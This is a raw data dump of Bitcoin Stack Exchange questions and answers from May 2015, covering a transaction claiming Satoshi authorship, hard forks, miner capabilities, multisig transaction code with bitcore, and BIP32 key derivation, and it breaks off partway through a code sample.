  <row Id="37583" PostTypeId="1" CreationDate="2015-05-26T11:22:12.480" Score="2" ViewCount="969" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/mulllhausen/btc-inquisitor&quot; rel=&quot;nofollow&quot;&gt;the program i am writing&lt;/a&gt; to parse the bitcoin blockchain got stuck on &lt;a href=&quot;http://blockexplorer.com/block/000000000000001fbc5a74fb56b1cf8949bcfad8e3ae06f2af638b94f7633fbc&quot; rel=&quot;nofollow&quot;&gt;block 251718&lt;/a&gt;. i hadn't yet implemented support for some of the opcodes in the txout script for &lt;a href=&quot;http://blockexplorer.com/tx/77822fd6663c665104119cb7635352756dfc50da76a92d417ec1a12c518fad69&quot; rel=&quot;nofollow&quot;&gt;tx 24&lt;/a&gt; and i'm now in the process of implementing these. anyway, this is not the subject of this question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;rather, the tx contains some very interesting text which claims to be written by satoshi. in hex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_IF OP_INVALIDOPCODE 4effffffff   OP_ENDIF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;reading the raw binary data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;c\xff\x05N\xff\xff\xff\xffM\xa3\x05From a3a61fef43309b9fb23225df7910b03afc5465b9 Mon Sep 17 00:00:00 2001&#xA;From: Satoshi Nakamoto &amp;lt;satoshin@gmx.com&amp;gt;&#xA;Date: Mon, 12 Aug 2013 02:28:02 -0200&#xA;Subject: [PATCH] Remove (SINGLE|DOUBLE)BYTE&#xA;&#xA;I removed this from Bitcoin in f1e1fb4bdef878c8fc1564fa418d44e7541a7e83&#xA;in Sept 7 2010, almost three years ago. Be warned that I have not&#xA;actually tested this patch.&#xA;---&#xA; backends/bitcoind/deserialize.py |    8 +-------&#xA; 1 file changed, 1 insertion(+), 7 deletions(-)&#xA;&#xA;diff --git a/backends/bitcoind/deserialize.py b/backends/bitcoind/deserialize.py&#xA;index 6620583..89b9b1b 100644&#xA;--- a/backends/bitcoind/deserialize.py&#xA;+++ b/backends/bitcoind/deserialize.py&#xA;@@ -280,10 +280,8 @@ opcodes = Enumeration(&quot;Opcodes&quot;, [&#xA;     &quot;OP_WITHIN&quot;, &quot;OP_RIPEMD160&quot;, &quot;OP_SHA1&quot;, &quot;OP_SHA256&quot;, &quot;OP_HASH160&quot;,&#xA;     &quot;OP_HASH256&quot;, &quot;OP_CODESEPARATOR&quot;, &quot;OP_CHECKSIG&quot;, &quot;OP_CHECKSIGVERIFY&quot;, &quot;OP_CHECKMULTISIG&quot;,&#xA;     &quot;OP_CHECKMULTISIGVERIFY&quot;,&#xA;-    (&quot;OP_SINGLEBYTE_END&quot;, 0xF0),&#xA;-    (&quot;OP_DOUBLEBYTE_BEGIN&quot;, 0xF000),&#xA;     &quot;OP_PUBKEY&quot;, &quot;OP_PUBKEYHASH&quot;,&#xA;-    (&quot;OP_INVALIDOPCODE&quot;, 0xFFFF),&#xA;+    (&quot;OP_INVALIDOPCODE&quot;, 0xFF),&#xA; ])&#xA;&#xA;&#xA;@@ -293,10 +291,6 @@ def script_GetOp(bytes):&#xA;         vch = None&#xA;         opcode = ord(bytes[i])&#xA;         i += 1&#xA;-        if opcode &amp;gt;= opcodes.OP_SINGLEBYTE_END and i &amp;lt; len(bytes):&#xA;-            opcode &amp;lt;&amp;lt;= 8&#xA;-            opcode |= ord(bytes[i])&#xA;-            i += 1&#xA;&#xA;         if opcode &amp;lt;= opcodes.OP_PUSHDATA4:&#xA;             nSize = opcode&#xA;-- &#xA;1.7.9.4&#xA;&#xA;h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=271761.0&quot; rel=&quot;nofollow&quot;&gt;reading on the bitcointalk forum&lt;/a&gt; it looks like this is a patch for an electrum bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyway, i'm more interested in whether this was actually written by satoshi or not. apparently &lt;code&gt;a3a61fef43309b9fb23225df7910b03afc5465b9&lt;/code&gt; is a git signature. does anybody know satoshi's public git key? if so then can anyone verify if this is him or not?&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="2306" LastEditDate="2015-05-28T11:06:20.847" LastActivityDate="2015-05-28T11:06:20.847" Title="Was this message written by Satoshi?" Tags="|satoshi-nakamoto|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37584" PostTypeId="2" ParentId="37559" CreationDate="2015-05-26T12:05:29.797" Score="2" Body="&lt;p&gt;It would be trivially easy to make the change.  Just a couple lines of code to add the include the genesis block tx in the utxo.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Understand however the hard part is that would create a hard fork.  Unless the change became part of a majority of nodes it would violate the consensus rules. If that output was ever spent any node running older code would be split from any node running newer code as some nodes would see the new txn as valid and some as invalid.  This is true for any hard fork scenario.  For this reason it is unlikely that hard forks for minor or trivially reasons will ever happen.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2015-05-26T14:37:54.743" LastActivityDate="2015-05-26T14:37:54.743" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37585" PostTypeId="2" ParentId="37582" CreationDate="2015-05-26T12:44:54.813" Score="5" Body="&lt;p&gt;The number of confirmations indicates under how many blocks your transaction is buried. The more the confirmations, the more your transaction is secure from double-spending attacks. So the confirmations will continue growing forever - this is normal behavior.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2015-05-26T12:44:54.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37586" PostTypeId="2" ParentId="37559" CreationDate="2015-05-26T13:31:12.940" Score="1" Body="&lt;p&gt;The bitcoin source code has a special case in it to exclude connecting the transactions to the view. It can be found &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.2/src/main.cpp#L1664-L1667&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Presumably you would just remove this restriction to be able to spend genesis coins. It would also require wiping your datadir, and restarting your node to re-download the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are working with the real bitcoin network (which I suspect you are not), you won't want to do this. Even though it seems unlikely that Satoshi would ever return and try to spend these coins, such action would lead to your node diverging from the rest of the network&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-05-26T13:31:12.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37587" PostTypeId="2" ParentId="37578" CreationDate="2015-05-26T13:57:25.863" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I assume this means that the network will accept a block mined with either of the three algorithms, as long as fulfills an algorithm specific difficulty.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, this is true.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;However, how does the difficulty get balanced among the three different mining algorithms?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The difficulty for each algorithm is tracked independently. Essentially, each algo is retargeted to be 2 minutes between block solves of the same algo. Since there are 3 algos, 3 blocks will be solved every two minutes, which means 40 second confirmation times on average. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For example, if blocks are found too quickly, but mainly with one mining algorithm, which difficulties get adjusted and how?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Only the mining algorithm that has seen an increase in hash rate will be adjusted. In addition, no more than &lt;a href=&quot;https://github.com/DGCDev/digitalcoin/blob/master/src/main.h#L66&quot; rel=&quot;nofollow&quot;&gt;three blocks of the same algorithm may be solved consecutively&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The difficulty retargeting algorithm code is here: &lt;a href=&quot;https://github.com/DGCDev/digitalcoin/blob/master/src/main.cpp#L1429&quot; rel=&quot;nofollow&quot;&gt;https://github.com/DGCDev/digitalcoin/blob/master/src/main.cpp#L1429&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should also note that Myriadcoin was the first to implement this type of Multi-Algo-Pow.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-05-26T13:57:25.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37590" PostTypeId="2" ParentId="37563" CreationDate="2015-05-26T18:55:35.663" Score="1" Body="&lt;p&gt;You will need  power supply.Be sure to get one with appropriate connections to connect to r-box.R-box uses a measley 100 watts,which is nothing but youll mine not much as well.If your looking to get some return on your box i would suggest rent it out on Mining Rig Rentals.There you might regain some cost.I hate to break the blunt truth to you as well but unless you run a 100 Terrahash Farm youll never solomine  a bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="26645" LastActivityDate="2015-05-26T18:55:35.663" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="37592" PostTypeId="2" ParentId="37581" CreationDate="2015-05-26T19:11:58.493" Score="2" Body="&lt;p&gt;Since &lt;code&gt;paytxfee&lt;/code&gt; is not passed as an argument you need to alter the value of &lt;code&gt;paytxfee&lt;/code&gt; in your &lt;code&gt;bitcoin.conf&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2015-05-26T19:11:58.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37595" PostTypeId="1" CreationDate="2015-05-26T20:58:53.377" Score="3" ViewCount="971" Body="&lt;p&gt;Except this kind of attacks: &lt;a href=&quot;https://en.bitcoin.it/wiki/Double-spending&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Double-spending&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example can he simply create a new block that includes some invented transactions that steal money from real address? Without possessing the private keys of those addresses?&lt;/p&gt;&#xA;" OwnerUserId="25054" LastActivityDate="2015-06-22T11:08:27.690" Title="What can a dishonest node do (or try to do)?" Tags="|blockchain|block|doublespend|blockchain-fork|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37596" PostTypeId="2" ParentId="37595" CreationDate="2015-05-26T21:41:51.083" Score="0" Body="&lt;p&gt;No, it can not create any &quot;invented transaction&quot; on behalf of someone else without possessing that other node's private key for that transaction.&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/37160/is-it-possible-to-use-selfish-mining-to-steal-bitcoins&quot;&gt;This&lt;/a&gt; is maybe a similar Question.&lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-05-26T21:41:51.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37597" PostTypeId="2" ParentId="13696" CreationDate="2015-05-26T21:46:20.487" Score="76" Body="&lt;p&gt;I'm not sure if &lt;code&gt;bitcoind stop&lt;/code&gt; still works as RPC with newer releases, since somewhere in help sections it says RPC funcionality removed from bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try &lt;code&gt;bitcoin-cli stop&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24556" LastActivityDate="2015-05-26T21:46:20.487" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="37598" PostTypeId="1" CreationDate="2015-05-26T23:34:29.390" Score="1" ViewCount="140" Body="&lt;p&gt;While following a particular transaction from a donation received in 2011 I noticed a pattern in the block chain. &#xA;The entity donating would send .001 to an address and the remainder of the wallet would go to another address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few min later the wallet with the remainder would send .001 to someone else and the remainder to yet another address, when that address would again separate and send .001 to a recipient and the remainder to, what I would presume, an address under their control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once in a while the sender would send .001 to two or three others but the remainder would always go to a separate address they control.&#xA;I followed the chain forward and backward with the typical results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering if this is a method used to track individuals, or is this a result of the wallet sending “change” back to itself. &#xA;I have followed other donations and usually the address shows multiple transactions without emptying the contents completely. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used walletexplorer.com and blockchain.info to follow the history but it seems the trail goes back further then I have time to click and wait for a web page to load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any software available that can filter through my offline copy of the blockchain ledger and make following these kinds of links easier / quicker?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does blockchain.info displays user names from bitcointalk embedded somehow with the addresses. Were those identities listed associated with the address by the sender, or was it designated by the recipients wallet?&lt;/p&gt;&#xA;" OwnerUserId="26630" LastActivityDate="2015-05-26T23:34:29.390" Title="Is this pattern a tracking method or just a Bitcoin wallet making change to itself?" Tags="|transactions|blockchain|blockchain.info|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37599" PostTypeId="2" ParentId="37595" CreationDate="2015-05-27T00:07:18.680" Score="5" Body="&lt;p&gt;just off the top of my head, here are some things a dishonest miner can do:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;fail to include one or more transactions in the block.&lt;/strong&gt; this is not technically 'dishonest', since the protocol does not require that all transmitted transactions be included in the current block. for example it would be considered perfectly ok for a miner to never include a transaction which does not include a mining fee in the current block. however if the transaction does have a fee (the standard behaviour) then a miner can still choose not to include any transaction it likes in a block. to do so would be to deliberately forgo a profit, and so its unlikely, but it is certainly possible. however other miners are unlikely to do the same, so they will include the transaction next time they mine a block.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;appropriate unsigned funds for itself.&lt;/strong&gt; bitcoin scripts are merely puzzles to be solved in order to spend funds. generally puzzles are signed by the sender's private key, but this is not a requirement (though all wallet software does this by default). if someone is silly enough to manually create an output script which does not contain either an &lt;code&gt;OP_CHECKSIG&lt;/code&gt; or &lt;code&gt;OP_CHECKMULTISIG&lt;/code&gt; opcode then anything in the transaction can be changed by the miner. for example, say someone creates a transaction with output script &lt;code&gt;OP_1 OP_EQUAL&lt;/code&gt; then transmits this to a miner to include in the blockchain. the miner can easily complete the puzzle and appropriate these funds by creating another transaction with input script &lt;code&gt;OP_1&lt;/code&gt;. (to verify these scripts, just put the txin and the txout in sequence &lt;code&gt;OP_1 OP_1 OP_EQUAL&lt;/code&gt; - &lt;code&gt;1==1&lt;/code&gt;). and the most important thing here is that since there is no signature, anybody can modify the output script in the spending transaction, so the miner can direct the funds to the address of a private key it owns.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;appropriate any SIGHASH_NONE funds.&lt;/strong&gt; when signing a transaction, the user's wallet software will put a byte on the end of the signature in the txin script in the spending transaction. an &lt;code&gt;0x02&lt;/code&gt; byte here corresponds to &lt;code&gt;SIGHASH_NONE&lt;/code&gt; which means that all of the output scripts are ignored for the purposes of validation. so if someone sends a transaction like this then a miner can simply put their own address into all the txouts and include that modified transaction in a block, effectively sending funds to itself. however wallet software does not set signatures in this manner so someone would have to be deliberately foolish to loose funds to a miner in this manner.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;alter certain transaction hashes via transaction malleability.&lt;/strong&gt; certain bitcoin transactions are malleable. while a miner is not able to alter the amount of bitcoins you send, or the recipient of these funds, it can modify certain transaction scriptsigs (the txin script) and thereby alter the transaction hash. this occurs because the scriptsig is not signed by the private key. so the miner can alter this scriptsig as long as it does not alter the functionality. note that &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0062.mediawiki&quot; rel=&quot;nofollow&quot;&gt;bip 62&lt;/a&gt; (scheduled for release in bitcoin 0.11) will eliminate transaction malleability for standard scripts, however for certain non-standard scripts malleability will always be a problem. for example if the txout script being spent starts with &lt;code&gt;OP_DROP&lt;/code&gt; then any prior stack value (set at the end of the scriptsig) is ignored and so can be altered by a miner without altering the functionality of the transaction. since transaction hashes do include the scriptsig this will alter the transaction hash. any other transactions which were expecting to spend from that hash will be temporarily frustrated and will have to figure out the new hash value to spend from (by following the transaction trail in the blockchain).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="2116" LastEditDate="2015-06-22T11:08:27.690" LastActivityDate="2015-06-22T11:08:27.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37600" PostTypeId="1" AcceptedAnswerId="37617" CreationDate="2015-05-27T01:33:03.250" Score="1" ViewCount="544" Body="&lt;p&gt;I'm trying to create a BIP32 storefront that uses Electrum's key derivation path. The user passes me their MPK, and with every order I generate a new address based on the MPK. I'm able to generate addresses, but they don't match the one's created by Electrum. I'm using Electrum 2.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my code (I'm using pybitcointools command line). To keep thinks legible, I'm swapping out the actual values for &lt;code&gt;$variables&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; Using $xpub which is the MPK I copied from Electrum:&#xA;./pybtctools bip32_ckd $xpub 0&#xA;&amp;gt; $xpub0&#xA;&#xA;./pybtctools bip32_ckd $xpub0 0&#xA;&amp;gt; $xpub00&#xA;&#xA;./pybtctools pubtoaddr $xpub00&#xA;&amp;gt; $addr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My expectation is that the&lt;code&gt;$addr&lt;/code&gt; I end up with should match the the first address of my &quot;receiving&quot; addresses in Electrum. However, they don't match. Any thoughts on why that might be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference the xpub I start with &lt;code&gt;xpub661MyMwAqRbcGK5eE2eSWmnU4Pg6knZZqZEmREAgZ4vj6z3B5soecps7UJj37NF9aWhjEMQoyH9xgcC14KUgEGX9avagrdv9rcN56wjwXR2&lt;/code&gt; and I get an address of &lt;code&gt;17VzXFqo6Kg7vMxNLWD5hhwgsdCV6XL9RT&lt;/code&gt; (which is not in my Receiving addresses list).&lt;/p&gt;&#xA;" OwnerUserId="18985" LastActivityDate="2015-05-27T15:42:08.153" Title="Having problem implementing Electrum's BIP32 Key deriviation path" Tags="|electrum|bip32-hd-wallets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37601" PostTypeId="1" CreationDate="2015-05-27T03:48:16.290" Score="3" ViewCount="1138" Body="&lt;p&gt;I recently downloaded the Armory Wallet for my Mac. It appears to work great, but is there any way I can purchase Bitcoins via an exchange on the wallet interface itself? If not, what should I do?&lt;/p&gt;&#xA;" OwnerUserId="26670" LastActivityDate="2015-05-27T08:03:29.647" Title="How To Buy Bitcoins Within Wallet?" Tags="|wallet|armory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37602" PostTypeId="1" CreationDate="2015-05-27T04:57:11.493" Score="4" ViewCount="546" Body="&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1&quot; rel=&quot;nofollow&quot;&gt;Blockchain transaction id&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1022044e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e01 04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff&#xA;&#xA;30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad102209a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab01 04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Identical R value d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When did it happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why did it happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How did it happen?&lt;/p&gt;&#xA;" OwnerUserId="26602" LastEditorUserId="18227" LastEditDate="2015-05-29T23:33:36.020" LastActivityDate="2015-05-29T23:33:36.020" Title="bitcoin two identical R" Tags="|transactions|signature|hash|ecdsa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37603" PostTypeId="1" AcceptedAnswerId="37610" CreationDate="2015-05-27T05:21:28.310" Score="4" ViewCount="263" Body="&lt;p&gt;So if I were to create the same transaction using bitcoinjs and bitcoinj, the end result of the signed transaction would be the same with both libraries, is that correct?&lt;/p&gt;&#xA;" OwnerUserId="26671" LastActivityDate="2015-05-27T13:29:42.883" Title="Do all implementation of Deterministic RFC6979-compliant ECDSA signatures generate the same signed transaction given the same data?" Tags="|transactions|bitcoinj|bitcoinjs|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37604" PostTypeId="2" ParentId="37601" CreationDate="2015-05-27T08:03:29.647" Score="4" Body="&lt;p&gt;No, in general wallets are just tools to manage bitcoins already in your possession. The only exception I can think of is Mycelium, which includes a functionality to find buyers and sellers nearby.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find out how to get bitcoins, check out &lt;a href=&quot;https://bitcoin.stackexchange.com/q/91/5406&quot;&gt;How do you obtain bitcoins?&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2015-05-27T08:03:29.647" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37605" PostTypeId="1" AcceptedAnswerId="37607" CreationDate="2015-05-27T09:17:33.773" Score="4" ViewCount="14613" Body="&lt;p&gt;Is there any Web API available for us to query Blockchain data in hex format? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The format should follow the standard (&lt;a href=&quot;https://en.bitcoin.it/wiki/Block#Block_structure&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Block#Block_structure&lt;/a&gt;) structure rather than JSON.&lt;/p&gt;&#xA;" OwnerUserId="21183" LastEditorUserId="21183" LastEditDate="2015-05-27T11:19:14.170" LastActivityDate="2022-03-15T22:47:36.287" Title="Raw Block data in Hexadecimals" Tags="|blockchain|raw-data|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37606" PostTypeId="1" AcceptedAnswerId="37608" CreationDate="2015-05-27T09:37:28.110" Score="0" ViewCount="1205" Body="&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var utxo = new bitcore.Transaction.UnspentOutput({&#xA;  &quot;txid&quot; : &quot;e0c6b736e86e8dccd63bbc27f35142b413bd991a410ef50f14cd56fa1a783a1e&quot;,&#xA;  &quot;vout&quot; : 0,&#xA;  &quot;address&quot; : &quot;2NCAeo5p1Pg8VVupFFumCd3PYz551VAZWLJ&quot;,&#xA;  &quot;scriptPubKey&quot; : &quot;OP_HASH160 20 0xcf8d0490cba6d7ca817323cf0c337fbd0a3de539 OP_EQUAL&quot;,&#xA;  &quot;amount&quot; : 10000000&#xA;});&#xA;&#xA;var multiSigTx = new bitcore.Transaction()&#xA;    .from(utxo, pubKeys, 2)&#xA;    .to(&quot;mwFLeaw5LMAPvoz1hP6qQhHbHkHq8WxM2t&quot;, 90000)&#xA;    .fee(9000)&#xA;    .change(&quot;mwFLeaw5LMAPvoz1hP6qQhHbHkHq8WxM2t&quot;)&#xA;    .sign(privKeys);&#xA;&#xA;&#xA;var txSerialized = multiSigTx.serialize(true);&#xA;insight.broadcast(txSerialized, function(err, returnedTxId) {&#xA;  if (err) {&#xA;    console.log(err);&#xA;  } else {&#xA;    console.log(&quot;Sent coins, tx id is: &quot;);&#xA;    console.log(returnedTxId);&#xA;  }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Transaction rejected by network (code -26). Reason: 16: bad-txns-in-belowout&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="18969" LastEditorUserId="18196" LastEditDate="2015-05-27T13:15:36.007" LastActivityDate="2015-05-27T13:15:36.007" Title="Can anyone shed any light on this error? Bitcore Multisig - bad-txns-in-belowout" Tags="|multi-signature|bitcore|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37607" PostTypeId="2" ParentId="37605" CreationDate="2015-05-27T10:53:41.517" Score="7" Body="&lt;p&gt;What kind of API do you want? Do you mean API with your local Bitcoin Core or do you need web-API?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look to &lt;a href=&quot;http://webbtc.com/block/000000000000000001f942eb4bfa0aeccb6a14c268f4c72d5fff17270da771b9&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://webbtc.com/block/000000000000000001f942eb4bfa0aeccb6a14c268f4c72d5fff17270da771b9&lt;/a&gt; (this is an example)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to download block as [json] / [hex] / [binary] there if you know the hash of the block&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE (december'17):&#xA;block in raw hex example : &lt;a href=&quot;https://blockchain.info/block/000000000000000000a7b4999c723ed9f308425708577c76827ade51062e135a?format=hex&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/block/000000000000000000a7b4999c723ed9f308425708577c76827ade51062e135a?format=hex&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="12983" LastEditDate="2017-12-02T17:56:54.820" LastActivityDate="2017-12-02T17:56:54.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37608" PostTypeId="2" ParentId="37606" CreationDate="2015-05-27T11:56:15.177" Score="2" Body="&lt;p&gt;That error happens when the transaction attempts to send more Satoshis than it spends. You might have your units mixed up (using Satoshis instead of BTC, or vice versa). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code that throws the error can be sheen here: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.2/src/main.cpp#L1462-L1465&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/v0.10.2/src/main.cpp#L1462-L1465&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-05-27T11:56:15.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37609" PostTypeId="1" CreationDate="2015-05-27T12:15:52.170" Score="3" ViewCount="947" Body="&lt;p&gt;I'm playing around with bitcore transactions and multi-sig transactions and was wondering how to send a transaction to more than one address, and keep the change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently when I try to send the transaction it is sent, but the &lt;code&gt;fee&lt;/code&gt; is calculated as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;unspent - satoshis&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of this transaction I've made in the block chain can be seen here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://tbtc.blockr.io/tx/info/114bc54b62641cba2e4f1a96e03a3997a5fbe0f582b5ef277415145a82cb440c&quot; rel=&quot;nofollow&quot;&gt;Example Transaction&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ad you can see it's calculated like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Original unspent amount: 0.09000000&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Fee: 0.08990000&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Traded: 0.00010000&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Transaction sum: 0.00010000&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I understand that one must spend all of the unspent outputs in a transaction, but how can I stop the fee from being as above, the remaining unspent balance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I want to split the transaction for two addresses, and send the rest to a change address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var utxo = new bitcore.Transaction.UnspentOutput({&#xA;  &quot;txid&quot; : &quot;f42af6ab8b4dc3c636c5bfc6ce819063a55060c5619d31a6fa45a36413cb7953&quot;,&#xA;  &quot;vout&quot; : 0,&#xA;  &quot;address&quot; : &quot;2MzuRYCXSHcBDEsSS4rziShvEzWSfoDe2zL&quot;,&#xA;  &quot;scriptPubKey&quot; : &quot;OP_HASH160 20 0x54025426880aa847ec86f4d2488bbe260bfe0fcb OP_EQUAL&quot;,&#xA;  &quot;satoshis&quot; : 10000&#xA;});&#xA;&#xA;var pubs = [&#xA;    &quot;02758b89e56bfa8da41f2c1701aa5927bc026cc3b51bbeff399c53a15f2ae52e28&quot;,&#xA;    &quot;02987ab3466118bd3fb5cb0c4fddbdd7ff8e21188314ffed4ecad83fb7689d57d7&quot;,&#xA;    &quot;037b7f8cea06cfd5a96023341441b52431e31867c6f3716e5f20be24b709d023eb&quot;&#xA;];&#xA;&#xA;var multiSigTx = new bitcore.Transaction()&#xA;    .from(utxo, pubs, 